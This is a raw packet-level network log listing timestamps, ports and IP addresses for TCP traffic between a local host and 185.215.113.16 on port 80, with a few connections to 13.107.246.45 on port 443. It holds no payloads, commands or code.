Nov 7, 2024 06:01:17.959832907 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959846020 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959856987 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959875107 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959876060 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.959892988 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959904909 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959916115 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959930897 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959938049 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.959938049 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.959948063 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.959953070 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959961891 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.959973097 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959989071 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959992886 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960000992 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960005045 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960012913 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960017920 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960030079 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960031986 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960042953 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960055113 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960056067 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960066080 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960067987 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960078001 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960088968 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960092068 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960100889 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960112095 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960114956 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960123062 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960129976 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960135937 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960149050 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960153103 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960159063 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960170984 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960174084 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960184097 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960196018 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960202932 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960206985 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960220098 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960223913 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960242987 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960246086 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960267067 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960283041 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960294008 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960302114 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960304976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960311890 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960315943 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960325956 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960329056 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960350990 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960352898 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960371017 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960372925 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960381985 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960392952 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960397005 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960410118 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960410118 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960423946 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960432053 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960436106 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960442066 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960458040 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960459948 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960470915 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960479975 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960484028 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960495949 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960506916 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960508108 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960508108 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960519075 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960530996 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960532904 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960542917 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960553885 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960556984 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960566044 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.960570097 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960587025 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.960619926 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.001431942 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.001461983 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.001472950 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.001487017 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.001521111 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.001535892 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.001852036 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.001904011 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.001915932 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.001920938 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.001939058 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.001956940 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002043009 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002054930 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002064943 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002075911 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002088070 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002090931 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002099037 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002111912 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002118111 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002129078 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002130032 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002144098 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002155066 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002165079 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002166033 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002181053 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002187967 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002197027 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002202034 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002208948 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002222061 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002224922 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002238035 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002252102 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002264023 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002264023 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002274990 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002290010 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002293110 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002307892 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002315044 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002317905 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002331018 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002332926 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002348900 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002365112 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002367973 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002381086 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002394915 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002398014 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002409935 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002415895 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002423048 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002427101 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002435923 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002445936 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002448082 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002460957 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002469063 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002473116 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002485037 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002496958 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002499104 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002510071 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002511024 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002521038 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002535105 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002536058 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002547026 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002564907 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002564907 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002576113 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002582073 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002604008 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002624989 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002866030 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002877951 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002890110 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002908945 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002912998 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002922058 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002933025 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002944946 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002945900 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002955914 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002958059 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002969027 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002980947 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.002990007 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.002993107 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003005028 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003015995 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003017902 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003031969 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003032923 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003032923 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003051996 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003062963 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003068924 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003073931 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003087044 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003089905 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003099918 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003110886 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003114939 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003120899 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003134966 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003144979 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003151894 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003161907 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003164053 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003184080 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003191948 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003196955 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003207922 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003216982 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003220081 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003232002 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003243923 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003249884 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003249884 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003254890 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003268003 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003278971 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003288031 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003288031 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003299952 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003299952 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003319025 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003329039 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003357887 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003387928 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003427982 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003433943 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003438950 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003449917 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.003496885 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.003529072 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.108067036 CET	49839	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.108114958 CET	443	49839	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.108164072 CET	49839	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.108171940 CET	443	49839	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.112869978 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.113078117 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.115238905 CET	49833	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.115274906 CET	443	49833	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.115762949 CET	49833	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.115767956 CET	443	49833	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.117839098 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.117863894 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.117876053 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.117974997 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118010044 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118021965 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118035078 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118052959 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118063927 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118076086 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118088007 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118109941 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118130922 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118185997 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118197918 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118208885 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118218899 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118235111 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118237972 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118247986 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118264914 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118263006 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118282080 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118284941 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118294001 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118309021 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118338108 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118338108 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118352890 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118366003 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118376970 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118381023 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118388891 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118400097 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118415117 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118416071 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118429899 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118443012 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118453026 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118459940 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118472099 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118478060 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118478060 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118486881 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118490934 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118508101 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118515015 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118520021 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118524075 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118530989 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118544102 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118555069 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118556976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118571043 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118580103 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118582010 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118593931 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118601084 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118607998 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118617058 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118626118 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118638992 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118644953 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118650913 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118669987 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118674994 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118685007 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118685961 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118700027 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118710041 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118716955 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118729115 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118733883 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118741035 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118745089 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118755102 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118758917 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118767023 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118778944 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118789911 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118793964 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118799925 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118805885 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118818045 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118829012 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118839979 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118843079 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118843079 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118858099 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118870974 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118871927 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118881941 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118890047 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118895054 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118906021 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118908882 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118917942 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118928909 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118932009 CET	49834	80	192.168.2.4	185.215.113.16
